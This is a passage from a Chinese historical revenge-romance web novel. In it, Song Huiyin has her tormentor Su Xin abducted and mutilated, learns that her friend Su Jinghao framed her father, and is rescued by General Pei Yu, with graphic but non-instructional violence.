苏信一听,果然是幕后那人的手笔,又听他们二人说要送他下去,立马慌了,疯狂挣扎起来,惹的马儿无法前行。 那奎哥是个暴脾气,见此情况当即将苏信拉下马扔在地上,举起碗大的拳头一顿招呼。 苏信挨了几下,这人是个打架的老手,专挑人身上的痛点招呼,打得他跪地躬身求饶。 他却不放过,狠狠的收拾了一顿后,苏信鼻青脸肿,全身上下没有一处不痛。再次被人挂在马上后,苏信再也忍不住,张口吐了出来。 好不容易挨到下马,又被人扔进山间的一件破败木屋,阿郑找来粗实的麻绳,将苏信倒吊在房梁上,两人还在苏信的下方升起火堆烤着他,随后便相携去外头大树下纳凉喝酒。 虽还未到三伏天,但热意也不小,又被底下这烈火烤着,浑身冒汗,热的很不得扒层皮。 苏信一时直觉得生不如死,恨不得叫那两人进来给他一个痛快。 —— 黄昏时分,临水阁二楼内,颜娘侍候着徽音穿衣,与以往的繁琐复杂的曲裾不同,今日徽音只穿了件窄袖上襦佩青色长裙,头发用红绳在脑后挽了个垂髻,单看身形,与府中婢女没什么两样。 颜娘将徽音送到西角门,她买通了此处的看门奴仆,偷偷送徽音出府。 府巷不远处停着一辆普通的马车,颜娘心中八上七下,拉住徽音,“要不还是让奴婢跟着去吧,奴实在放心不下。” 徽音轻拍颜娘的手,取出白纱覆面,解释道:“今夜凶险,我怕吓着傅母。府内也需要傅母帮我遮掩,莫让裴夫人发现我离府踪迹。” 颜娘也明白其中道理,她向后望去,看见马车外立着两个身形高大的人,是冯郎君派来的。有冯郎君的人作陪,颜娘也放下心,不再多说什么,目送徽音离开。 苏信被倒挂着,脑中晕眩异常,为了好受些,他只得在空中发力撅起身体,像个蜷缩的虾蟹。 他硬挨了二个时辰,又饿又困,身上还传来阵阵疼痛,苏信实在受不了了,大声喊道:“等老子脱困,定要你们生不如死!” 苏信豁出去,骂骂咧咧一顿,屋外却一直没有动静传来,不应该啊,按照那个什么奎哥的脾气,他都骂的这么难听了,那奎哥定是要进来揍一顿才能解气。 屋外传来马匹的嘶鸣声,苏信浑身一震,竖起耳朵细听,难道是有人来救他。他腹下发力,让自己的身体在空中来回摇摆,就着靠近窗户的时候往外看去,屋外听着一辆马车,车上走下来一个妙龄女郎,面容遮挡,身形眼熟。 她身后还跟着两名侍卫,看情形,这五人个是一伙的。没一会儿,他们就推门进屋,四个人呈保护的方向围在那女郎身边。 苏信睁大眼,越看着那女郎越觉得的眼熟,不等他出声,阿郑抽出腰间的佩刀割断绳索,苏信整个人狼狈的摔在地上,被阿郑拧着领口扔在女郎面前。 苏信坐起身,恶狠狠的瞪着阿郑,等他脱困,先宰了这家伙以解心头之恨。他冷哼出声,仰头望着面前的女郎,大言不惭:“就是你抓的我,你知不知道我是谁?” 他看着这女郎年纪也不大,通身气度和行走间的步伐礼仪,应是贵族出身,便想恐吓两句。未料那女郎径直去掉脸上的白纱,露出一张绝不可能出现在此地的脸。 苏信瞪大双眼,不可置信,“你……怎么会是你!” 徽音慢慢蹲下身子,和苏信面对面,她盯着这张阴柔的脸,狠狠抬手扇在他脸上。 苏信脑袋受力侧在一边,身体僵直在原地,他捂着脸缓缓转头,“你……” 啪啪—— 三声耳光声响彻木屋,阿郑不自觉退后一步,双手环住身体。他万万没想到,这容色极好的女郎居然出手这么狠。 徽音垂下的手掌发红,她站起身,俯视被打蒙的苏信,“这三巴掌是替你阿姊打的,为着过去那些年你对她的欺辱。” 苏信呆坐在原地懵圈,还没等他反应过来,就看见徽音背过身,吩咐那几人道:“废了他。” 阿郑疑心自己听错了,他掏掏耳朵,问道:“女郎说什么?” 徽音微笑道:“请你们帮我废了他,让他再也做不成男人。” 阿郑朝奎哥努努嘴,他们原本就干的是刀尖上舔血的伙计,落难时受过冯承的恩,昨日里冯承找到他们帮忙,说要帮他妹妹做件事。几人自然一口答应下来,只是没想到冯郎君的的妹妹如此“泼辣”。 奎哥上前制住苏信,跟着徽音来的那两个冯家侍卫也上前一左一右的按住苏信的双腿,阿郑抽出腰间的短匕,不住心疼,这是他好不容易得到的精铁所炼,削铁如泥,如今却要被污染了。 苏信眼看徽音来真的,当即吓得痛哭流涕:“徽音阿姊,你这是这是做什么啊!。” 徽音仰着头,今夜的星辰明亮,明日又是个大晴天,她听见身后的声音头也不回道:“你导致我阿弟坠崖,还是强迫萧纷儿,这是你应受的。” 苏信摇头痛哭,疯狂挣扎起来,阿郑按住他乱动的身体,明晃晃的刀锋闪过苏信眼角,他眼睁睁的看着阿郑将刀横在他的下腹,他甚至都能感觉到冷硬的刀身。 “不要!不要,放过我吧,徽音阿姊,我真的知道错了!” 苏信奋力挣扎起来,几个人都有些按不住他。 徽音轻轻笑起来,笑声悦耳,只是在这种情况下及其瘆人,苏信手心生汗,听见徽音漠然的声音:“你也会怕啊? “继续废了他。” 他不可置信的大叫起来,却后身后的奎哥一把按住,死死的被捂住嘴,下一瞬,下身传来剧烈的刺痛,刺目的血染红他的下半身,苏信无法接受的哀嚎起来。制住他的几人松开他,纷纷站到徽音身边。 苏信捂着下半身蜷缩在地上,他痛的无法出声,地上那团血肉模糊的血块正是方才从他身上割下来的。 他痛苦的哀叫着,一双眼死死的瞪着面无表情的徽音,咬牙道:“我要杀了你!我要杀了你!” 徽音听着她的谩骂,等他痛的不再发声后才下令,“送他上路吧。” 苏信匍匐在地上,面上沾上血渍,狠狠盯着徽音的背影嘶喊:“宋徽音!你就是个蠢货,引狼入室还不自知,如今还来替她出头!” 徽音转身,一字一句道,“你说什么?” 苏信用力翻身坐起来,发丝散乱,下身染血,浑身狼狈不堪。他低低的笑着,“你们宋家是如何灭亡的,你父亲是怎么死的,你不会一点都不知情吧?” 徽音走上前,俯身攥住苏信的衣领,眼神发冷,“你给我说清楚,宋府一事,你们苏家在其中做了什么手脚。” 苏信不顾身下的疼痛哈哈大笑,眼角沁出泪,他已经落到这个地步,今日是活不了,死前他也要让宋徽音尝尝痛苦的滋味。 “你父亲,是被苏府设计陷害死的。” 他望着徽音一字一句道:“主谋就是你亲亲热热的好姐妹,苏静好。” 徽音脸色苍白,“你在骗我。” “自欺欺人!”苏信奋力挣脱徽音,面目狰狞,跪直身吼道:“我们两家相安无事多年,谁也奈何不着谁,为何正好在宫中传出要定你为太子妃的时候,你家就遭了祸,你再想想,如今的太子妃是谁!” 徽音强忍着心中的不适,皱眉不语。 她不信,怎么可能,怎么可能会是苏静好。她对自己那么好,两人从小一起长大,如亲姐妹般。 徽音还记得,幼时两人调皮在池边玩耍,她不小心踩空摔进池中,是还没她高的苏静好紧紧抓住她的手,冒着被水冲走的风险把她拉上岸,还抱着她安慰,“徽音妹妹别怕,我会保护你的。” 徽音不信,她会如此做。 苏信继续道:“那封密信是伪造的!你以为谁能御史大夫府内盗走他的印信,除了在苏府出入自由的苏静好,还有谁?她甚至都不用将印信盗出,只需趁人不注意,偷偷溜进你父亲的书房盖印即可。” “我还告诉你,这个主意是苏静好主动道出的,不然为何一向不受宠的她会突然得到我父亲的重用,被定为太子妃。她为的就是太子妃之位,也就你还傻傻的被蒙在鼓里,以为她是个好的,殊不知,是你自己引狼入室!” 徽音闭上眼,听着风里传来的马蹄声,来人了,就是不知来的是不是她想的那个人。 阿郑举起火把快步出屋,看见亘长的山道上来一队火龙,看人数约莫三十人。已经是宵禁时分,这队人马必定身份不凡,背有靠山。他大步回了木屋,停在徽音面前禀告。 徽音最后看了眼苏信,吩咐人堵住他的嘴,回头询问:“来人可是苏家?领头的是谁?” 阿郑点头:“正是苏家,领头的没见着,但他们中间有一架双马紫檀木马车。” “我知道了,你们在这里等,等我叫你们再出来。” 徽音走到屋外,也不在意地上的黄泥脏乱,拍拍衣裙坐在木板上,望着走近的车队。 车盖垂着十二重丹色纱帷,马车前面的金饰片在火光下熠熠生辉。很明显,这是一架世家贵女出行的马车。 他们停在木屋外不远处,苏家的部曲手持火把,分散开来,将整个木屋团团围住。 正中间的马车上,木门被人拉开,里头走出来一个衣饰华贵的女郎,正是苏静好。 苏静好一改往日的温和娴雅,面无表情的下车,她似乎并不意外徽音会出现在此地,或者说,她就是追着徽音的踪迹来到此处的。 徽音自嘲的笑笑的,无奈的开口:“想来想去,都想不到会是你。” 苏静好没有接话,她身后的婢女捧来锦缎铺在泥地上,她这才下地,扶着婢女的手臂缓缓走上前,身姿娉婷,不愧是世家贵女的典范。 徽音看着既熟悉又陌生的面容,忍不住质问:“我阿父待你那么好,你为什么要陷害他?” 苏静好停在不远处,掩唇笑道:“苏信没有告诉你吗?是为了太子妃之位啊。” 徽音再难忍受,泪水夺眶而出,她起身逼近苏静好,“区区太子妃之位,就能让你丧尽良知吗!” 还没靠近苏静好,就被她身旁的侍卫横刀拦下,苏静好失笑出声,口中轻吟:“区区太子妃之位?” 她表情变得冷漠起来,“对于你而言,自然是区区,可对我来说,却是遥不可及的梦。” 苏静好眼底的神色忽而又变得悲伤起来,望着徽音痛苦道:“你为什么非要回长安,回荆州不好吗?那样我们就还是好姐妹,还和从前一样,我不会伤害你。” 徽音笑起来,眼泪顺着脸颊滑落,她垂下的手臂控制不住的轻颤起来,心里头仿佛有什么东西在往下坠,沉甸甸的,一直坠到深处去。 她擦干泪,盯着苏静好一字一句道,“我会杀了你。” 苏静好一愣,随后失笑,也对,这样的徽音才是她熟悉的那个人。 她退回马车边,微笑道:“既然如此,那就,一个不留!” 她身后的部曲纷纷抽刀逼近木屋,徽音也退回木屋,吩咐阿郑等人压着苏信出来,她挑开苏信散乱的头发,露出他的面容,朝不远处的苏静好喝道:“叫你的人都退开,否则,苏信就要死。” 部曲头子认出苏信,连忙赶到苏静好的身边道:“女郎,不能伤着小郎君。” 苏静好斜看了他一眼,部曲头子立马低下头不语,下一刻,他手中的弓箭被人夺去,苏静好张弦搭弓对准徽音等人的方向,阿郑和奎哥见状立马挡在徽音面前,紧盯前方。 咻咻—— 破空的声音传来,那支羽箭径直射进跪着的苏信胸口,苏信睁大双眼,原本眼底即将得救的喜意变成震惊,他怎么也想不到,最后要他命的,居然是苏静好。 他口中还塞着布条,死前连声音都没来得及发出。 这一幕震惊了在场所有人,部曲头子冷汗直淋,小郎君在他演眼皮子底下被女郎射杀了。 他脑中一片晕眩,大声质问道:“女郎,你这是作何?” 苏静好扔下弓箭,抬手狠狠一巴掌甩在部曲头子脸上,表情阴狠:“今日之事若是传出去,整个苏府都要陪葬。我现在命令你,即刻绞杀,不留一个活口。你若不去,下一个死的就是你!” 部曲头子脸部抽搐,不敢再忤逆,狠狠咽下口水,抽刀冲向徽音等人,高喊道:“杀,一个不留!” 阿郑和奎哥对视一眼,拿去武器冲上前,死死的拦在徽音面前,回头朝那两个冯家侍卫喝道:“我们拦住他们,你们赶紧带宋女郎走。” 徽音拉住两人,轻声道:“不用,救兵来了。” 两人不解,顺着徽音的目光看去,方才苏家等人走过的山道上,再次出现一条火龙,只是这火龙,速度更快,声音更响,马蹄声轰隆,阿郑似乎听到了铁马兵戈的声音。 苏家的部曲也看见这情形,请示苏静好该如何是好,苏静好盯着火光中若隐若现的骑兵,脸色难看至极,不顾部下的劝阻,吩咐众人冲上前,以最快的速度杀了徽音等人。 徽音躲在檐下,面前刀兵相接,血染黄泥。纵然阿郑和奎哥武艺不俗,面对这么多人的围攻也渐渐吃力起来,身上多了几处刀伤。 有人提着刀朝徽音奔来,其他四人陷入苦战,来不及救援。徽音朝后退去,脚底被一具尸体绊住,不受控制的摔倒在地上,她看见面前的那人举起刀,猛然朝她劈下。 带着热意的鲜血喷溅在她脸上,徽音愣在原地,方才一只极快的羽箭从她头顶急速穿过,有力的钉在木门上,面前的男子胸口破开一个洞,血染红他身上的布衣,他睁着死不瞑目的双眼跪倒在徽音面前。 徽音越过他朝前方看去,马蹄声由远及近,一队玄甲骑兵如黑云压境般围拢过来,手中的火把将山间照的明亮如昼。 为首的将领勒马立在圈心一身墨色鱼鳞甲,肩甲铸着狰狞兽首纹,他手中握着一方玄铁为杆,通体墨黑的长戬,高大的乌骓马缓缓向前,露出他清晰的面容。 30-40 第31章 眼泪,是弱点亦是武器。…… 裴彧身后的驰厌驭马上前, 举起手中红缨长枪高声喊道:“虎贲卫队在此,再有异动,杀无赦!” 随着他这声杀无赦后, 包围住众人的骑兵动作的一致的抽刀向前逼近,金属碰撞声响彻黑夜。 乌骓马缓缓走上前, 众人不约而同的让开一条道路,裴彧无视马车旁的苏静好,径直来到徽音面前,望着地上狼狈不堪的女人。 他弯下腰, 伸手捞住徽音的腰身,将人带上马坐在身前, 轻飘飘了扫了眼受伤的四人, 驭马转头离去。 苏静好出声阻止:“裴将军,你的妾室公然掳走我阿弟, 致他死亡,你没有什么要解释的吗?” 裴彧驭马的动作未停,冷漠道:“你还是想想怎么向执金吾卫解释今晚之事,至于苏信,他不是死于你之手吗?” 苏静好眼神微动, 视线从裴彧身上移到他怀中的宋徽音脸上, 语气玩味:“裴将军难道不想知道, 你这位小妾闹出这场阵仗目的为何吗?” 徽音长睫微颤, 抬眼望向挑衅的苏静好, 两人视线在空中交汇, 她慢慢弯起嘴角,朝苏静好莞尔,仿佛在说, 继续说啊。 裴彧低头看向怀里的徽音,抬手捂着她和苏静好对视的眼睛,不耐烦的开口:“不说就让开。” 苏静好浑身一滞,万分不甘心的让开路,盯着两人远去的身影捏紧拳头,以她对徽音的了解,徽音绝对是瞒着裴彧行事。 裴彧虽是太子表兄,在裴后那里话语权比太子还重,他本就对苏家不满,若让他知道是苏家陷害宋家,后果不堪设想。 她绝不允许任何人挡了她的太子妃之路,宋徽音必须死。 那四个人也被裴彧的人带走,等他们彻底离开后,苏静好回头望去,带出来的部曲伤亡过半,更重要的是,苏信也死了。 她冷静的吩咐众人收拾好此地,带上伤员和苏信的尸体回城。 —— 苏文易的书房内烛光摇曳,他半跪在地上掀开苏信脸上的白布,手掌颤抖的抚上苏信的脸颊。 纵然他经常教训这个儿子,可到底是他的幼子,就是犯下弥天大祸也要倾尽家财救下来的幼子,就这么悄无声息的死了,死前还受了这么多的罪。 苏文易不忍去看苏信血迹斑斑的□□,他人瞬间苍老了十分,跪坐在地上,书房传来由远及近的凄厉悲号。 吴氏披头散发,应该是得了消息匆忙赶来,外袍胡乱套在身上,她冲进书房,看见地上那熟悉的惨白面目,扑在苏信的身上痛哭出声。 “儿啊,我的儿啊!” 苏文易上前拥住发抖的吴氏,紧紧抱住她宽慰,吴氏双眼充血,满含狠意,声音如同索命的厉鬼一般:“是谁!谁杀了我的儿子,我要他偿命!” 匍匐在地上的部曲头子浑身冷颤,声音极轻,“是……” “谁!你不说我就先杀你了!”吴氏青筋暴起,怒喝道。 “伤小郎君的是宋徽音,射杀小郎君的是……女郎。” 吴氏转头盯着一旁跪着的苏静好,冲上前攥住苏静好的衣领,满脸恨意:“我就知道,你个贱婢有一副狠毒心肠,那是你弟弟,你居然杀了他!” 苏静好盯着这张扭曲的面容,忽而放声大笑起来,她笑出眼泪,一把推开面前的吴氏,缓缓起身,“看见你这副模样,我真是痛快极了。” 吴氏气的浑身发抖,撑着身子站起来就要上去厮打,苏文易拦下她,儒雅的脸上布满阴色,他质问苏静好:“你疯了吗?” 苏静好瞳色极深,深的让人看不清她眼底的泪,“我早就疯了,在我五岁那年就疯了。” 听见这句话的苏文易眼神微眯,开口让跪在角落的部曲头子滚下去。 他盯着苏静好紧张的问:“你还知道什么?” 当年之事他做的极为隐秘,苏静好那时不过才五岁,能知道些什么? 苏静好看他一副紧张的模样,嗤笑两声,移开话题:“苏信是我亲手所杀,阿父若要为他报仇,只管来取我性命。不过,我死了,你做皇亲国戚的美梦也就没了。” 吴氏挣脱苏文易的控制怒吼:“你以为仗着未来太子妃身份就奈何不了你?你别忘了,苏家还有静娴!” 苏静好眼角上扬,讥讽道:“你是说你那个蠢笨如猪的女儿,你送她进宫就是送她去死。” 吴氏被堵回去,指着苏静好说不出话来,她怎么也想不通,一向温顺,看她眼色过活的苏静好为何突然性情大变。 苏静好懒得再理会这女人,她走到苏文易身边,笑意盈盈,“父亲,有些事,你我父女心知肚明就好。我们同为苏家人,目标一致,当物之急是解苏家困局,杀了宋徽音。” 苏文易眸色沉沉,心里惊起波涛汹涌,在这个默默无闻的女儿,向他献计如何斗倒宋家时,他就该想到的,她是最像他的一个孩子,是一条隐在地底下伺机而动的花毒蛇。 他问出心中疑虑:“为何杀你弟弟,你明明可以救他?” “他从没将我当过阿姊,算不上我弟弟。” 苏静好最后看了眼伏地痛哭的吴氏,移步出门。 她长至十七岁,吴氏不屑做表面功夫,缺衣少食是常态,夏日不给冰,冬日不给炭。 苏文易未必不知,吴家势大,她外家只是普通的乡绅,他便由着吴氏拿她当出气筒,动辄打骂罚跪。 苏信更不用说,苏静好身上大大小小的伤痕皆败苏信所赐。 还有宋景川,若说阿弟,宋景川才更像她阿弟,他会维护自己,会在苏侑和苏信嘲讽时挺身而出帮她骂回去。 苏信惦记徽音一事苏静好早就知晓,他也配…… 她要杀苏信,还需要理由吗? —— 裴府,临水阁。 院子里的灯都已熄灭,婢女仆妇被勒令不得出,就连颜娘也被关在自己屋内不得出。 整个临水阁,只有二楼窗口透出亮光。 夏日微风吹过,带起院中一阵沙沙的声响,从徽音被捞上马到回裴府,裴彧未曾开口问过一句,她身上脏污一片,泥腥味混杂血腥气,异常难闻。 矮榻就在窗台的下方,中间用一个游鱼纹木几隔开,分成两个座。徽音抬头看着坐在矮榻右侧的裴彧,他正翻着她书写的简牍。 安静的内室只有翻阅竹简的声音,徽音脸上血迹黏糊糊的,她实在有些受不了,起身打算去清洗,一直未曾发声的裴彧这时开口:“过来。” 徽音深吸一口气,转身走到裴彧面前,等待他的质问。 裴彧拍拍身侧的锦席,示意徽音坐下,他则取出干净的帕子沾湿递给她擦脸。 裴彧语气听不出喜怒:“想好怎么说了吗?” 徽音一面擦着脸,一面打量裴彧的脸色,她垂眼轻声开口:“是我设计撞破苏信和萧纷儿一事,也是我暗地送信给郑家和吴王搅局,送平祯夫妻二人出城,教平祯宫门鸣冤的亦是我。” 裴彧盯着面前脸色苍白的女子,她脸上的血迹已经被擦干净,露出那张如月皎洁的脸。 这张脸,对任何男人都有着致命的吸引,似乎只要她开口吩咐一句,就有不少男人愿意为她鞍前马后。 “今天帮你的是谁?” 徽音默默的酝酿情绪,准备示弱时,猝不及防听到这句不合时宜的质问,她迷茫道:“是我兄长的人,他这两日才回城,与前事无关。” 裴彧既然能查到她的猫腻,顺着线索一路追到邙山,怎会不清楚那几人是她临时找来的帮手,与此事并无干系。 裴彧挑眉,继续追问,“兄长,你哪来的兄长?” 徽音心中越发怪异,“他是南阳冯氏子弟,自幼拜在我父亲门下,我便唤他兄长。” 裴彧知道这个人,冯氏家主的小儿子,他“唔”了一声,示意自己知晓了。 徽音发觉他今日极为奇怪,但此刻也由不得她多想,她静静望着裴彧,等待他的下文。 “你目的为何?” “我想要苏信死。” “他哪得罪你了?” 徽音着实看不懂裴彧关子里卖的什么药,按照她的猜想,裴彧得知真相应该会万分震怒才对,说不准会一气之下杀了她。 最次也应该是对她冷言相对,为何得知她做了这么多事,却好言好语,一丝怒意也无。 难道,是想用这种态度迷惑她,再一举发落? 徽音不自觉的挺起腰板,回忆方才的每一句是否有破绽,她打起十二分精神应对,斟酌道:“他想要欺辱我……” 她全部注意力都在如何组织语言上,丝毫没有看见裴彧听见这句话后眼神变得幽深起来。 “临都驿站那日,正是因为他,我阿弟才会坠崖。” “回京后,我看见他依旧锦衣玉食,呼奴喝婢,心中不忿。凭何我阿弟生死未卜,他却跟没事人一样,所有我暗地里跟踪他,知晓了他和萧纷儿的事情。” 裴彧听着徽音的述话,许是想到她的阿弟,她神色比方才还要苍白三分,他端起一旁放凉的茶水,倒了杯茶放在徽音面前。 徽音没有察觉,继续道:“他二人一事被撞破后,苏家想将所有的罪责推诿到萧纷儿的头上,我担心苏信会逃脱罪责,便将他曾经强迫庶母的枝叶细节暗地告知了郑家。” 徽音停住话音,她也是后来才知道,郑家插手后,将全部的火力对准太子,太子手下的两名属官也被抓到私德不休罢了官。 想到此处,徽音坐立难安,她自入京报仇以来,最担心的从来不是苏家,而是裴彧,裴彧若要动她,如同捏死一只蚂蚁一般简单。 而她此举动,不仅影响太子名声,还连累东宫两位属官,裴彧肯定会生气,她偷偷的掐了把大腿,等会裴彧若要骂她,她就将自己弄的凄惨一点,痛哭流涕的哭诉一场。 裴彧面冷心硬,兴许会叫她蒙混过去。眼泪,是弱点亦是武器。 “那夜我告知你,萧氏是被苏信所迫,你自觉害了无辜之人,所以第二天就去了平家,送走他们二人,对吗?” 徽音不明所以,怎么问起这个了,她愣愣的点头。 裴彧似乎来了兴致,倚靠在窗台上,单手支着头:“你怎么知道黑市的路子,是怎么接触到的?” 徽音:“……这我们今日谈的事情好像无关。” “行,那我们就说正事。” 裴彧没有听到回答也不恼,他单手轻叩在小木几,“你将事情告诉了郑家,折了东宫两名属官,送平祯夫妻出城,害我被陛下训斥,苏信被判死罪,太子替他求情缴纳赎金,害我裴府也搭进去千金,这帐怎么算?” 徽音忍无可忍,世上怎会有如此厚颜无耻之人,她回嘴道:“东宫属官之事我认,赎金一事我不认,是你自己要帮苏家的,你若不愿意,谁能强迫你?” 裴彧嘴角上扬,一步一步逼近,“若非你搅弄是非,如何会到这一步?” “没错,此事因我而起,可平祯和萧纷儿都不想再计较此事,只想过自己的小日子,你们却追出城。是你,助纣为虐,害死了她。” 徽音不想再谈论此事,她对不起萧纷儿和平祯,这辈子都偿还不起。她侧身别开脸,闭上眼睛平复心绪:“少将军要如何处置,我认。” 裴彧望着徽音的背影,开口解释:“我是将他们二人的行踪透露给的苏平两家,你有没有想过,若萧纷儿和平祯就此一走了之,这烂摊子谁来收拾?” “吴王和郑家一心拉太子下马,绝不会放过这时机,会带来无休止的纷争。” 徽音盯着角落里摇曳的火光回道:“野心是灭不掉的,没有此事,难道吴王就不会再起纷争吗?只是在你们这些大人物眼底,不过死一个女人,能得安宁,何乐而不为。” “为何死的是她,而不是该死之人。” 裴彧方才那副逗弄的模样全然不见,此刻的他气质沉稳,有着超乎年纪的阅历,他平静道:“世间之事非黑即白,并非所有事都会如你所愿。” 徽音缓慢转头望着裴彧,眼角的泪滴滑落,她眼底的悲伤溢出,清澈的眼底蓄满泪水。 裴彧眉心蹙起,他很少有这种难以控制的冲动,不知从何时起,他潜意识里不愿意见到徽音的眼泪。 徽音侧对着裴彧不语,默默泣泪。泪珠一颗颗坠在她的衣裙上,染成深色,室内谁都没有开口说话。 裴彧视线落在她单薄的背脊,她回来后还没洗漱,还穿着那身脏乱的衣裙,白皙的手背上有几道血痕,不知何时刮伤的。 灯盏里燃烧的灯油见底,灯芯发出爆炸的声响,淡淡的清香弥漫在内室,像一圈柔软的羽毛,围住裴彧的心,不住的缩紧,带起一股难以明说的酥麻。 他打破沉默:“东宫那两名属官持身不正,迟早也要丢官,与你并无多大干系。” 徽音睫毛轻颤,泪珠滚落,她诧异的转身面朝裴彧,不敢相信他会说出这样的话。 她方才冷静下来后有些后悔,甚至已经想好被裴彧赶出裴府后的退路,她打算去投靠吴王,毛遂自荐。 她抬手擦去泪痕,被泪水洗过的眼睛发亮,轻问出声:“你不怪我?” 裴彧移开目光,烛火投在他锋利的下颚线上,鼻挺唇薄,风流十足。 徽音甚至能看清他喉结吞咽的动作,裴彧的声音低沉了许多,像羽毛划过她的耳尖,她不自觉的揉揉耳,侧耳听着。 裴彧说:“苏信先是想欺辱你,又害你阿弟出事,身上还背负许多无辜女子的性命,死有余辜,你也没做错。” 他说完这句话,起身走到衣橱旁,玄色的衣摆滑过徽音的膝盖,他身上的皂角味飘过来,是一种很适合他的冷香。 裴彧拉出衣橱底下的铺盖,摆在以往的地方,回望徽音,声音极轻:“不早了,休息吧。” 他似乎从没做过铺床的事,笨拙的整理乱在一起的被褥,没过多久,他就起身走到徽音这边,打开窗台。 徽音以为他是不耐烦,要叫人上来铺床,她拉住裴彧的衣角想要阻止他。 裴彧已经开口了,他声音回荡在夜间,“烧水,上来伺候宋……宋娘子沐浴。” 裴彧喊完这句话,又回到铺边打算去整理那铺盖,身后衣摆传来拉扯,他回头,对上徽音明亮的眼睛,顺着往下,看见她拉住自己衣袖的手。 徽音连忙撒手放开,背手在身后,不自然的垂下头,她到现在还有些懵,不明白事情怎么会发展成这样。 投靠吴王是她迫不得已的决定,他为人阴鸷狠毒,不拿人命当回事,也好色。而裴彧,只是为人差劲些,嘴上毒了些,性格恶劣了些,却从没伤害过她,也没对她起过坏心思。 裴府其他人,摸清性子也好相处,不似吴王后宅姬妾众多,留在裴彧身边,是她最好的选择。 但是今夜的裴彧实在怪异,与从前的他判若两人,徽音宁愿他狠狠发作一番,也好过现在这样,一颗心落不到实处。 啪—— 木几上突然被人放上一个兽纹木盒,身前的阴影转身离开,徽音拿起那个木盒,很轻,带着淡淡的药香,她打开木盒,里面是晶莹的膏状物体,已经空了一半。 她手上的血痕也在此刻映入眼帘,徽音心绪越发烦杂起来。 灶上一直烧着水,没半响浴房内的木桶便被注满,颜娘心疼的小跑过来,扶着徽音走进浴房。 已经入夏,水温并不高,颜娘跪坐在浴桶后替徽音搓发,一面小声问道:“少将军没将你如何吧?” 徽音无奈的捧住脸,“我到希望他将我如何,也好过如今这番,叫人看不清,猜不透。” “他如何了?” 徽音在水中转身,长发滑进浴桶,黑发与白皙的肌肤交织在一起,将今夜发生的事情一一告知颜娘。 她难得露出迷茫的神情,喃喃道:“傅母,你说他到底想要干什么?” 颜娘是过来人,也见过不少情人相处,如徽音的父母,细水长流,如府内的婢女男仆,相濡以沫,她心中有了猜测,不敢乱说。 在颜娘看来,徽音哪哪都好,裴彧爱慕上她,那是理所应当的事。徽音懵懂不开窍,有些事情说了倒让她徒增烦恼。 颜娘打定主意回道:“少将军是好人,许是也看不惯那苏信。” 徽音折腾了一夜,也不想在去思考这些烦事,她沐浴完,穿着一件粉襦色寝衣,贴身衣料绸缎丝滑。 她停在屋门口,望着准备下去的颜娘,面露乞求,不知为何,她今夜实在不敢与裴彧共处一室,她一看就裴彧那张侵略十足的脸就心慌。 颜娘也没办法,她倒是想陪徽音睡,估计裴彧会直接将她赶出来。她拍拍徽音的手,无声安慰。 徽音无奈片刻,转身推门进屋,出乎意料的是,裴彧已经换了身睡袍,大剌剌的躺在地铺上,举着一卷竹简翻阅。 他听见徽音进屋的声音,头也不抬:“你好慢,我回了趟前院你还没完。” 徽音整理头发的动作一顿,既然都回了前院,还回来做什么,前院的软床不比她这里的地铺舒服,更奇怪的是,他怎么今日主动要睡地铺,将床让给了她。 裴彧说完也觉得不对,起身坐在地铺上望着徽音,竹简落在一侧,他问:“头发怎么不擦干?” 徽音实在不习惯他这副处处关怀的模样,何况夏日里衣裳本就薄,颜娘拿上来的这套睡裙领口较大,被裴彧这般直勾勾的盯着,她感觉浑身发热。 徽音敷衍两句,想快走进帷幔后的内室,隔绝裴彧的目光。 “时候不早了,就这样睡罢。” 裴彧盯着徽音看了几息,她许是刚沐浴完,两颊粉润发光,粉襦色的睡裙更衬得她肌肤胜雪,眉眼如水。 他移开目光,清咳出声:“药膏别忘了抹。” 徽音脚步转弯,快速绕到窗台前的木几上去走小木盒,她回身时,正好忘记散落在地铺边的竹简,字迹眼熟,分明是她读策论时闲暇的批注,想到自己那些大言不惭的言论,她瞬间气血上涌。 徽音上前跪在地铺上,生气的望着裴彧,将竹简一股脑的抱在怀中,怒道:“未经允许,擅自翻阅他人手书,耻乎?” 裴彧还是第一次见她这般生机勃勃的模样,他摸摸鼻头,徽音这里什么都没有,他也只能翻翻她的手书解乏。 “又不是第一次看,你的言论很不错。” 徽音恶狠狠的回头:“闭嘴!” 这世上最羞耻的事莫过于你胡乱写下的见解和理论,被旁人瞧了去。 徽音气呼呼的将竹简塞到橱柜的最下方,用衣物遮挡的死死的。做完这些,她才绕进帷幔后,坐在床上盯着外头的身影生闷气。 不是一次两次了,这人每次来她这,总要翻阅她的手书,一点君子之风都无。 没过多久,裴彧在外头问道:“躺下没?” 徽音没好气的回道,“已经睡了。” 果不其然,她听见裴彧欠揍的回嘴,声音带着笑意:“睡了还能回话,你真厉害。” 徽音正要回话,风声传来,屋子内的烛火都被熄灭,她翻身望着帷幔外漆黑的影子,第一次觉得,裴彧这个人心思很难懂。 第32章 小霸王裴衍的心上人 …… 立夏日, 天子率百官于南郊祭祀赤帝,祈求风调雨顺。 南郊外的平坡上,四周布满旌旗, 金吾卫甲披甲持,将整个南郊布防的密不透风。 正南方向的祭坛中央, 摆着一座巨大的青铜鼎,两侧松柏枝用藤条捆成小把堆积。青铜鼎前的祭案上,卧着一头毛色纯赤的健硕牛犊。 宣帝上衣玄黑,下裳赤红, 头戴通天冠,冠前垂十二旒白玉珠, 步履沉稳, 神情肃穆。 他手持镇圭,在太常卿及侍中的导引下, 沿缓步登坛。在他身后身后,三公九卿、列侯宗室、百官依序随行,皆着赤色礼服,只腰间革带不同。 吴王盯着前方赤色礼服的身影,不屑的低下头, 他这位太子皇兄, 问不成武不就, 性子还优柔寡断, 妇人之仁。 若非身后有裴皇后和裴彧替他撑着, 都不用自己动手, 他都能将自己玩下来。 就拿前不久苏信一案来说,事情既已真相大白,舍了一个还算不上的小舅子的命又何妨。 偏他耳根软, 苏家哭诉两句便出手相处,将太后得罪的死死的。若非裴后在太后面前伏低做小,裴彧给他收拾烂摊子,他岂能这么悠闲。 想到此处,吴王朝侧手边的裴彧看去,裴彧身长,面容俊朗,在这一片同色的滚服中尤为突出。 他们二人也算是冤家,裴彧幼时时常出入宫中,与皇子一同读书习武,太子资质平平,裴彧却能处处压他一头,两人可谓是从小争锋到大,谁也不让谁。 少时不懂事时,两人还经常互斗,吴王自认为武艺不俗,却只能被裴彧压着打。 后来裴彧去了边关,屡建功勋,等他再次回京时,少年意气褪尽,取而代之的是久经沙场的阅历以及深不可测的城府。 